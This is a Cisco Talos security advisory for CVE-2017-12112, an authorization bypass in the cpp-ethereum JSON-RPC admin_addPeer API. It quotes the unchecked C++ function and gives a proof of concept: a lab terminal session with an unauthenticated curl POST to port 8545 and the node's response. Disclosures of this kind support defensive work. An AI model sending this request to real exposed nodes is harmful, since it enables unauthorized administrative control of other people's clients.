CVE-2017-12112: TALOS-2017-0464 || Cisco Talos Intelligence Group

Summary

An exploitable improper authorization vulnerability exists in admin_addPeer API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.

Tested Versions

Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768

Product URLs

http://cpp-ethereum.org

CVSSv3 Score

4.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-285: Improper Authorization

Details

CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is part of cpp-ethereum is a JSON-RPC server which exposes various APIs to manage client/node functionality. Improper authorization checks in the implementation of the admin_addPeer API allows a remote attacker without any credentials to triggers functionality reserved only for a user with administrator privileges. We can observe a similar approach in two other clients (lack of any kind of authorization) but in this case the situation is exacerbated by the fact that:

-   By default interface is bound to 0.0.0.0, which means it’s exposed to the world
-   The Content-Type set to ‘application/json’ during requests is not enforced, which means that even if eth JSON-RPC daemon is ran on machine behind a NAT 
    the JSON-RPC APIs can still be easily triggered by CSRF or SSRF attacks.
-   older version of the same API had implemented an authorization check
-   there is no visible option to change the default JSON-RPC interface to localhost

For comparison let us take geth (the go ethereum client) which also implements a JSON-RPC interface but using much better security practices: - by default the interface is bound to localhost - The “Content-Type” request header value must be set to ‘application/json’ - CORS settings are set to block by default all “cross-domain” requests

Let us take a look at admin_addPeer and describe the improper authorization check in detail:

Line 81 bool AdminNet::admin_addPeer(string const& _node)
Line 82 {
Line 83     m_network.addPeer(p2p::NodeSpec(_node), p2p::PeerType::Required);
Line 84     return true;
Line 85 }

As we can see there is no user privileges check, which is done in a couple of other APIs via the RPC_ADMIN macro. The same functionality is exposed over the admin_net_connect API where at the beginning of API body, a privilege check is performed:

Line 29 bool AdminNet::admin_net_connect(std::string const& _node, std::string const& _session)
Line 30 {
Line 31     RPC_ADMIN;
Line 32     return admin_addPeer(_node);
Line 33 }

We are aware that this client is not recommended for mining and that the mentioned functionality related with the administrator interface is turned off by default. However when enabled the default behavior is insecure and can allow a remote attacker to perform unauthenticated RPC requests.

Exploit Proof-of-Concept

#1 eth machine
icewall@ubuntu:~/bugs/cpp-ethereum/build/eth$ ifconfig
ens33     Link encap:Ethernet  HWaddr 00:0c:29:55:70:17  
          inet addr:192.168.217.155  Bcast:192.168.217.255  Mask:255.255.255.0
          inet6 addr: fe80::2d31:de2:bf58:a2d9/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:647149 errors:0 dropped:0 overruns:0 frame:0
          TX packets:382058 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:371970434 (371.9 MB)  TX bytes:81283333 (81.2 MB)


    icewall@ubuntu:~/bugs/cpp-ethereum/build/eth$ ./eth -j --admin-via-http 
    cpp-ethereum, a C++ Ethereum client
    cpp-ethereum 1.3.0
      By cpp-ethereum contributors, (c) 2013-2016.
      See the README for contributors and credits.
    Networking disabled. To start, use netstart or pass --bootstrap or a remote host.
    JSONRPC Admin Session Key: Zt9zxSANHZs=
      ℹ  03:09:10 AM.197|miner0  Loading full DAG of seedhash: #00000000…
      ℹ  03:09:10 AM.978|miner0  Full DAG loaded

icewall@ubuntu:~/bugs/cpp-ethereum/build/eth$ netstat -antp tcp | grep eth
tcp        0      0 0.0.0.0:8545            0.0.0.0:*               LISTEN      107480/eth  

      
    #2 attacker host
    ipconfig
    Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::c05c:47b5:47f4:8265%11
   IPv4 Address. . . . . . . . . . . : 192.168.217.129
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.217.2


curl -i -X POST --data '{"jsonrpc":"2.0","method":"admin_addPeer","params":[""],"id":1}' 192.168.217.155:8545

200 OK
Connection: Keep-Alive
Content-Length: 1544
Content-Type: application/json
Date: Fri, 08 Dec 2017 10:40:45 GMT

{"id":1,"jsonrpc":"2.0","result":[{"caps":["eth/62","eth/63","par/1","par/2","pip/1"],"id":"c5900cdd6d20795d58372f42dfbab9d664c27bb97e9c27972741942736e919122f9bac28e74cbc58e4ff195475ea90d9880b71a37af5b5a8cb41d843f765cff8","lastPing":0,"name":"Parity/v1.7.0-beta-5f2cabd-20170727/x86_64-linux-gnu/rustc1.18.0","network":{"remoteAddress":"174.138.79.48:30303"},"notes":{"ask":"State","manners":"nice","sync":"ONGOING"}},{"caps":["eth/63","les/1","les/2"],"id":"f297c16e1847d4174f74eb308da3505cfaa0b3a9cd0c14a71c31370387556f572e678f6ab36edd8da58b8dd0b6bf26cac1e40f95d577d0f2c8f1abea616a36c7","lastPing":0,"name":"Geth/v1.8.0-unstable-e37f7be9/linux-amd64/go1.9.2","network":{"remoteAddress":"35.163.201.132:0"},"notes":{"ask":"BlockHeaders","manners":"nice","sync":"ONGOING & needed"}},{"caps":["eth/62","eth/63","par/1","par/2","pip/1"],"id":"440163f14f90ff004eb6d8adb6a0126127467900e5ee62025da9c55813615e3a956c2286a1cdfee6f8e47ee977c224c3492e0d03442bae8148c9f14ca52b4d7a","lastPing":0,"name":"Parity/v1.7.6-unstable-1953533-20171013/x86_64-linux-gnu/rustc1.19.0","network":{"remoteAddress":"192.81.129.199:30304"},"notes":{"ask":"BlockHeaders","manners":"nice","sync":"ONGOING & needed"}},{"caps":["eth/62","eth/63"],"id":"f677c65a03a941552ee181920e4b7fa2ca298df3173f6ac32dcf444db6884db716631e02b95f8a0d55fb72da389d8728731ee7c415f88af26a4dbcdb95845851","lastPing":77,"name":"Geth/v1.7.2-stable-1db4ecdc/linux-amd64/go1.9","network":{"remoteAddress":"176.221.43.121:0"},"notes":{"ask":"BlockBodies","manners":"nice","sync":"holding & needed"}}]}

Timeline

2017-12-06 - Vendor Disclosure
2018-01-09 - Public Release

Discovered by Marcin ‘Icewall’ Noga of Cisco Talos.